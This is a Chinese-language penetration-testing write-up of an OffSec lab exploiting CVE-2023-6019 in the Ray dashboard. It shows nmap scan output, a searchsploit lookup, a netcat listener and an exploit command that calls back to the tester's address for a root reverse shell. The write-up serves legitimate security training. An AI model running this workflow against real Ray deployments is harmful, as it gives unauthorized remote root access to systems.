OSCP CVE-2023-6019 Write-up

一、靶场详情

靶场名称：

CVE-2023-6019

靶场地址：

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界、获取管理员旗帜：

Ray OS 远程代码执行 –> 系统 root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描：

sudo nmap -p- 192.168.132.37 --min-rate=2000

PORT      STATE SERVICE
22/tcp    open  ssh
9000/tcp  open  cslistener
36261/tcp open  unknown
40983/tcp open  unknown
42663/tcp open  unknown
43545/tcp open  unknown
44217/tcp open  unknown
44227/tcp open  unknown
45019/tcp open  unknown
46609/tcp open  unknown
52365/tcp open  unknown
53201/tcp open  unknown
56216/tcp open  unknown
60148/tcp open  unknown

UDP 端口扫描：未发现有价值信息。

TCP 服务信息搜集：

sudo nmap -p22,9000,36261,40983,42663,43545,44217,44227,45019,46609,52365,53201,56216,60148 -sCV 192.168.132.37

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
9000/tcp  open  http    aiohttp 3.9.1 (Python 3.8)
|_http-server-header: Python/3.8 aiohttp/3.9.1
|_http-title: Ray Dashboard
36261/tcp open  grpc
40983/tcp open  grpc
42663/tcp open  unknown
43545/tcp open  grpc
44217/tcp open  http    WSGIServer 0.2 (Python 3.8.10)
|_http-title: Site doesn't have a title (text/plain; version=0.0.4; charset=utf-8).
44227/tcp open  http    WSGIServer 0.2 (Python 3.8.10)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Site doesn't have a title (text/plain; version=0.0.4; charset=utf-8).
45019/tcp open  grpc
46609/tcp open  grpc
52365/tcp open  http    aiohttp 3.9.1 (Python 3.8)
|_http-server-header: Python/3.8 aiohttp/3.9.1
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
53201/tcp open  http    WSGIServer 0.2 (Python 3.8.10)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: WSGIServer/0.2 CPython/3.8.10
|_http-title: Site doesn't have a title (text/plain; version=0.0.4; charset=utf-8).
56216/tcp open  grpc
60148/tcp open  unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境，开放有 HTTP、SSH 服务。

3.2 渗透测试突破边界

3.2.1 Ray OS 远程代码执行（CVE-2023-6019）

根据 nmap 扫描结果判断系统 HTTP 运行了 python 服务，访问靶机 HTTP 9000 端口，在 cluster 菜单栏得知系统部署了 Ray 2.6.3 应用。

使用 searchsploit 检索发现应用历史存在远程代码执行漏洞。

searchsploit Ray 2.6.3

复制漏洞利用脚本，执行漏洞利用得到系统 root 用户权限。

searchsploit -m python/webapps/51978.txt
nc -lvnp 9000
python3 51978.txt -t 192.168.132.37 -p 9000 -L 192.168.45.227 -P 9000

这套靶机没有什么难度，使用了最常规的打靶思路。首先找到靶机应用版本，然后通过应用版本检索历史漏洞，最后执行漏洞 EXP 得到靶机权限。

3.2.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流，欢迎点击「关于我」，通过页面中的微信公众号、邮箱或 Discord 与我联系；若您发现文章中存在任何错误或不足之处，也非常欢迎通过以上方式指出，在此一并致以衷心的感谢。 😊🫡

最后，祝您生活愉快！🌞✨